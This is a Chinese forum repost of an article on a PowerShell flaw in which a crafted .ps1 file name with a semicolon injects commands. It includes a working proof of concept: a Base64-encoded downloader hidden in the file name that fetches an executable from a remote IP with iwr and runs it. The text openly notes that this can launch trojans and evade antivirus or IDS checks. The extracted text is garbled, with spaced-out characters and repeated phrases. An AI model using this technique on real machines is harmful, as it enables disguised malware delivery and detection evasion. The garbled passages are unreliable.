搜索

[14866] 2019-11-26_精心构造的PS1文件名导致Powershell命令执行

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-11-26_精心构造的PS1文件名导致Powershell命令执行 精 心 构 造 的 P S 1 文 件 名 导 致 P o w e r s h e l l 命 令 执 行 原 创   f r e e x p l o i t   F r e e B u f   2 0 1 9 - 1 1 - 2 6 W i n d o w s   P o w e r S h e l l 是 专 门 为 系 统 管 理 员 设 计 的 是 专 门 为 系 统 管 理 员 设 计 的 W i n d o w s 命 令 行 外 壳 程 序 。 命 令 行 外 壳 程 序 。 P o w e r S h e l l 包 括 可 独 立 使 用 或 组 合 使 用 的 交 互 式 提 示 和 脚 本 环 境 。 包 括 可 独 立 使 用 或 组 合 使 用 的 交 互 式 提 示 和 脚 本 环 境 。 我 们 在 一 次 测 试 中 偶 然 发 现 ， 由 于 信 任 未 过 滤 的 文 件 名 ， 因 此 在 运 行 特 殊 命 名 的 脚 本 时 ， P o w e r S h e l l 可 能 会 执 行 任 意 代 码 。 测 试 发 现 当 “   . p s 1 ” 文 件 包 含 分 号 “ ; ” 或 者 空 格 作 为 文 件 名 一 部 分 时 ， 就 会 出 现 这 种 情 况 。 测 试 发 现 运 行 带 有 特 殊 格 式 文 件 名 的 脚 本 后 ， 可 以 导 致 执 行 其 他 木 马 如 e x e 文 件 ， 也 可 以 是 任 何 可 执 行 文 件 如 . c o m ， . e x e ， . b a t ， . c p l ， . j s ， . v b s 和 . w s f 。 例 如 ： 使 用 ” . c a l c ; 1 . p s 1 ” 则 可 以 用 来 执 行 c a l c . e x e ， 如 果 使 用 标 准 调 用 了 该 脚 本 W i n d o w s 外 壳 程 序 “   c m d . e x e ” 和 “   c a l c . e x e ” 与 p s 1 脚 本 位 于 同 一 目 录 中 。 如 下 图 所 示 ： 但 是 ， 如 果 这 些 脚 本 是 从 P o w e r S h e l l s   S h e l l 运 行 的 而 不 是 “   c m d . e x e ” ， 则 “ ＆ ” （ 调 用 运 算 符 ） 将 阻 止 我 们 的 漏 洞 利 用 。 不 过 ， 如 果 用 户 启 用 了 “   . p s 1 ” 脚 本 以 将 P o w e r S h e l l 作 为 默 认 程 序 打 开 ， 则 只 需 双 击 该 文 件 即 可 触 发 漏 洞 利 用 。 “ ＆ ” 呼 叫 运 算 符 将 不 再 起 效 果 。 另 外 ， 如 果 用 户 尚 未 启 用 P o w e r S h e l l 来 打 开 . p s 1 脚 本 ， 默 认 情 况 下   然 后 从 c m d . e x e 运 行 脚 本 ， 例 如 ： 也 可 以 直 接 运 行 ， 而 无 需 放 入 P o w e r S h e l l   s h e l l 。 我 的 P o C 测 试 下 载 一 个 远 程 可 执 行 文 件 ， 将 其 保 存 到 计 算 机 中 ， 然 后 执 行 它 ， 而 与 P S 文 件 本 身 的 内 容 无 关 紧 要 。 P S 文 件 本 身 就 是 一 个 简 单 的 ： W r i t e - H o s t   “ H e l l o   W o r l d ! ” 另 外 ， 请 注 意 ， 在 v i c i t m 调 用 “   i w r ” （ 调 用 w e b r e q u e s t ） 之 后 ， 需 要 使 用 “ ％ C D ” 来 定 位 当 前 工 作 目 录 ， 缩 写 为 空 格 ， 为 了 确 保 下 载 完 成 ， 需 要 睡 眠 2 秒 钟 ， 然 后 执 行 。 测 试 过 程 如 下 ： 1 、 生 成 p o w e r s h e l l 命 令 ： 首 先 ， 我 们 创 建 一 个 用 于 混 淆 的 B a s e 6 4 编 码 的 文 件 名 ； 它 将 下 载 并 执 行 一 个 在 本 例 中 名 为 “   c a l c . e x e ” 的 远 程 可 执 行 文 件 。 将 可 执 行 文 件 托 管 在 W e b 服 务 器 上 ， 或 仅 使 用 p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0 或 任 何 其 他 工 具 。 注 意 w i n d o w s 的 文 件 名 长 度 ， 尽 量 简 写 ， 如 ： c A B v A H c A Z Q B y A H M A a A B l A G w A b A A g A G k A d w B y A C A A M Q A 5 A D I A L g A x A D Y A O A A u A D I A M g A w A A M Q A z A D Q A L w B w A C A A Y w A 6 A F w w B p A G 4 A Z A B v A H c A c w B c A G Q A Z Q B i A H U A Z w B c A F c A S Q B B A C 8 A c A A u A G U A e A B l A D s A c w B s A G U A Z Q B w A C A A L Q B z A C A A M g A 7 A H M A d A B h A H I A d A A g A H A A L g B l A H g A Z Q A = 这 可 能 会 破 坏 P o w e r S h e l l 的 完 整 性 ， 因 为 它 可 能 允 许 意 外 的 代 码 执 行 。 即 使 脚 本 内 容 经 过 视 觉 检 查 也 是 如 此 。 我 们 也 许 还 可 以 绕 过 某 些 端 点 保 护 或 I D S 系 统 ， 这 些 系 统 可 能 只 查 看 文 件 的 内 容 或 标 头 ， 而 不 查 看 文 件 名 。 为 此 ， 用 户 在 打 开 “   . p s 1 ” 文 件 时 必 须 已 将 P o w e r S h e l l 启 用 为 其 默 认 程 序 。 2 、 然 后 给 P S 脚 本 起 一 个 普 通 的 开 始 名 称 ， 然 后 使 用 “ ; ” 分 隔 命 令 。 “   - e ” 是 E n c o d e d C o m m a n d 的 缩 写 ， 用 于 再 次 保 存 文 件 名 空 间 。 例 如 c : > p o w e r s h e l l   " H e l l o ; W o r l d . p s 1 " C : > p o w e r s h e l l   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( " ' p o w e r s h e l l   i w r   1 9 2 . 1 6 8 . 2 2 0 . 1 3 4 / c a l c . e x e   - O u t F i l e   % C D % / c a l c . e x e ; s l e e p   - s   2 ; s t a r t   c a l c . e x e ' " C : > p o w e r s h e l l   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( " ' p o w e r s h e l l   i w r   1 9 2 . 1 6 8 . 2 2 0 . 1 3 4 / p   % C D % / p . e x e ; s l e e p   - s   2 ; s t a r t   p . e x e ' " ) ) t e s t ;   p o w e r s h e l l   - e   < B A S E 6 4 编 码 命 令 > ;   2 . p s 1
3 、 双 击 以 在 P o w e r S h e l l 中 打 开 ， 效 果 如 下 ： 或 者 在 命 令 行 下 执 行 ： 以 上 示 例 是 使 用 了 “ 文 件 名 嵌 入 式 下 载 器 ” ， 其 实 我 们 还 可 以 在 同 一 目 录 中 调 用 其 他 各 种 类 型 的 第 二 特 洛 伊 木 马 文 件 。 使 用 起 来 ， 是 需 要 用 户 交 互 ， 需 要 想 一 个 场 景 来 利 用 。 显 然 运 行 任 何 随 机 P S 脚 本 都 是 危 险 的 … … 但 是 ， 我 们 查 看 了 文 件 内 容 ， 仅 仅 是 打 印 了 一 个 字 符 串 ， 文 件 名 理 论 上 被 查 杀 的 可 能 性 小 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： f r e e x p l o i t ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理